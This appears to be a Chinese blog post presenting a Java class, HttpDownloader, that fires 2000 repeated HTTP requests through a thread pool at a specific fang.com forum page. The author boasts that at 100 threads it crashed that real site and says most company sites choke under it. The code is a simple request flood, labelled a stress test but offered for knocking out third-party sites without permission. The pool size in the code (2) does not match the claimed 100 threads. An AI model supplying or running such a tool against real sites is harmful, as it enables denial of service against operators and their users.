一个类，堪比压力测试，随随便便就能K掉一个网站

admin

一个类，堪比压力测试，随随便便就能K掉一个网站
这是一个能提供多线程访问下载 网站的程序，亲测，搜房网100个线程1000个任务时，搜房网崩溃。。。

普通公司的网站，基本都会阻塞。。。


详细使用方式：

1. package com.thinkgem.jeesite.common.persistence;
   
2. 
   
3. import java.io.FileOutputStream;
   
4. import java.io.InputStream;
   
5. import java.net.URL;
   
6. import java.net.URLConnection;
   
7. import java.nio.channels.Channels;
   
8. import java.nio.channels.FileChannel;
   
9. import java.nio.channels.ReadableByteChannel;
   
10. import java.util.Calendar;
    
11. import java.util.concurrent.Callable;
    
12. import java.util.concurrent.ExecutorService;
    
13. import java.util.concurrent.Executors;
    
14. 
    
15. public class HttpDownloader implements Callable<String> {
    
16.         URLConnection connection;
    
17.         FileChannel outputChann;
    
18.         public static volatile int count = 0;
    
19. 
    
20.         public static void main(String[] args) throws Exception {
    
21. 
    
22.                 ExecutorService poll = Executors.newFixedThreadPool(2);
    
23. 
    
24.                 for (int i = 0; i < 2000; i++) {
    
25.                         Calendar now = Calendar.getInstance();
    
26.                         String fileName = "d:/data/" + now.get(Calendar.YEAR) + "年"
    
27.                                         + (now.get(Calendar.MONTH) + 1) + "月"
    
28.                                         + now.get(Calendar.DAY_OF_MONTH) + "日--" + i + ".txt";
    
29.                         poll.submit(new HttpDownloader(
    
30.                                         "http://m.fang.com/bbs/changchun/1710763523/182859674.htm",
    
31.                                         (new FileOutputStream(fileName)).getChannel()));
    
32.                 }
    
33. 
    
34.                 poll.shutdown();
    
35. 
    
36.                 long start = System.currentTimeMillis();
    
37.                 while (!poll.isTerminated()) {
    
38.                         Thread.sleep(1000);
    
39.                         System.out.println("已运行"
    
40.                                         + ((System.currentTimeMillis() - start) / 1000) + "秒，"
    
41.                                         + HttpDownloader.count + "个任务还在运行");
    
42.                 }
    
43.         }
    
44. 
    
45.         public HttpDownloader(String url, FileChannel fileChannel) throws Exception {
    
46.                 synchronized (HttpDownloader.class) {
    
47.                         count++;
    
48.                 }
    
49.                 connection = (new URL(url)).openConnection();
    
50.                 this.outputChann = fileChannel;
    
51.         }
    
52. 
    
53.         @Override
    
54.         public String call() throws Exception {
    
55.                 connection.connect();
    
56.                 InputStream inputStream = connection.getInputStream();
    
57.                 ReadableByteChannel rChannel = Channels.newChannel(inputStream);
    
58.                 outputChann.transferFrom(rChannel, 0, Integer.MAX_VALUE);
    
59.                 // System.out.println(Thread.currentThread().getName() + " completed!");
    
60.                 inputStream.close();
    
61.                 outputChann.close();
    
62.                 synchronized (HttpDownloader.class) {
    
63.                         count--;
    
64.                 }
    
65.                 return null;
    
66.         }
    
67. }
    

复制代码